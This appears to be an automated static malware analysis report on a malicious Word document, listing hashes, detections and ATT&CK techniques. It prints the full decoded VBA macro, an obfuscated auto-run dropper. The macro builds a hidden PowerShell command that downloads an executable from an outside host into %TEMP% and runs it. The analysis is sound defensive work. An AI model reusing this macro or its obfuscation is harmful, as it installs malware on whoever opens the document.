Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5c1420d4ee000f39…

MALICIOUS

Office (OLE)

79.0 KB Created: 2016-08-19 13:14:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: fae925c2c5abce4d2d7c373db7f80ee5 SHA-1: 9f8852a4d67c4d833cc33c753cbed0d58be4471d SHA-256: 5c1420d4ee000f398afc930dc3195815961e0fd65a873556a62787b0e8cdfadc
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains a VBA macro that is automatically executed upon opening (Document_Open). This macro constructs and executes a command using Shell(), which appears to be designed to download and run a second-stage payload. The constructed command is 'c.exe powershell -w hidden file', indicating a likely dropper functionality.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-1844885 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-1844885
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3627 bytes
SHA-256: 58ad5678213e15b4bb2a439bae8155d0b4ec6633bf47c2c8ec8a2992070b38a8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
qnujXAFQ = "c" & "" & "" & "" & "" & "m" & ""
AApLKbY = "x" & "" & "" & "" & "" & "e" & ""
mZdu9YZX = "d" & "" & "" & "." & "" & "e"
AzFthKTg = qnujXAFQ & "" & "" & mZdu9YZX & AApLKbY & ""
LZsYtmSy = "" & "" & "" & AzFthKTg & "" & " " & "" & SAnBhXwp
Shell (LZsYtmSy)
End Sub

Attribute VB_Name = "Module1"
Public Function hashsja() As String
hashsja = "lient" & "" & ";"
End Function

Public Function SAnBhXwp() As String
SAnBhXwp = robuii & "" & giraskop & ""
End Function

Public Function jkassfd() As String
jkassfd = "$wc.Hea^ders.Ad^d" & "('Us^er-Ag^ent','Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)');"
End Function

Public Function giraskop() As String
giraskop = "" & "$wc = New-O" & QcKRyKu
End Function

Public Function kvyaaaat() As String
kvyaaaat = "" & "" & "$wc." & vrnGQKWL
End Function

Public Function QcKRyKu() As String
QcKRyKu = "bject " & "System^.N" & "e" & "t" & EgaFcN
End Function


Public Function robuii() As String
Dim strSource As String
Dim strtargeten As String
Dim strtargetde As String
Dim strpass As String
makhab = "w" & "" & "e" & "" & "^" & "" & "r"
strSource = "s" & "" & "" & dzQPMWjx & kYuArv & "" & "^" & "" & "e" & uDXDnuq
strpass = "i" & "" & "n" & "" & "o" & "k"
zhaliska = " -w" & "i" & "" & "^n" & "d" & "^o" & "w" & "s^t" & "yle" & " hi^d" & "den "
pizdoma = LzPpWRe & "f" & "i^" & "l" & "" & "e" & zhaliska
patanam = "cu" & "" & "t" & "i^" & "on" & "P" & "" & "o^" & "" & "l" & "ic" & "y by^pa" & "ss -n^o"
msLidpa = "/k " & "" & "^" & "" & "p" & "" & "o"
tusdhjsk = msLidpa & "" & makhab & evtEncrypt_Decrypt(evtEncrypt_Decrypt(strSource, "hui"), "hui") & " " & "-E^" & "x^e"
robuii = tusdhjsk & patanam & "" & pizdoma
End Function

Public Function uDXDnuq() As String
uDXDnuq = "l" & "l"
End Function

Public Function dzQPMWjx() As String
dzQPMWjx = ""
End Function

Public Function kYuArv() As String
kYuArv = "h" & ""
End Function

Public Function LzPpWRe() As String
LzPpWRe = "pr" & "" & "o"
End Function

Public Function evtEncrypt_Decrypt(strText As String, strPWD As String) As String
    Dim kfYashnd() As Byte
    Dim bytePWD() As Byte
    Dim intPWDPos As Integer
    Dim intPWDLen As Integer
    Dim someLen As Integer
    Dim intLoop As Integer
    kfYashnd = strText
    bytePWD = strPWD
    intPWDLen = LenB(strPWD)
    someLen = LenB(strText)
     For intLoop = 0 To someLen - 1
        intPWDPos = (intLoop Mod intPWDLen)
        kfYashnd(intLoop) = kfYashnd(intLoop)
     Next intLoop
    evtEncrypt_Decrypt = kfYashnd
End Function

Public Function uTalMan() As String
uTalMan = ",'" & QpmmGwH & ".e^xe')" & ykykpn
End Function

Public Function EgaFcN() As String
EgaFcN = "." & "W" & "e" & "b" & "c" & hashsja & jkassfd & "" & kvyaaaat
End Function

Public Function marasata() As String
marasata = "KJFKLLKFKLFKDLKDFL:LK:DLFK:LDFKL:DFJKLJKDIFJDFKLJLK"
End Function


Public Function ykykpn() As String
ykykpn = " & IF EXI" & "ST " & QpmmGwH & ".e^" & "xe ( s^ta^rt " & QpmmGwH & ".e^xe) & exit"
End Function

Public Function QpmmGwH() As String
QpmmGwH = "%TEMP%"
End Function

Public Function vrnGQKWL() As String
vrnGQKWL = "Do^wn" & "lo^adFi^le('ht" & "^tp:" & "//sacrificery.top/ll/ldd.php'" & uTalMan
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.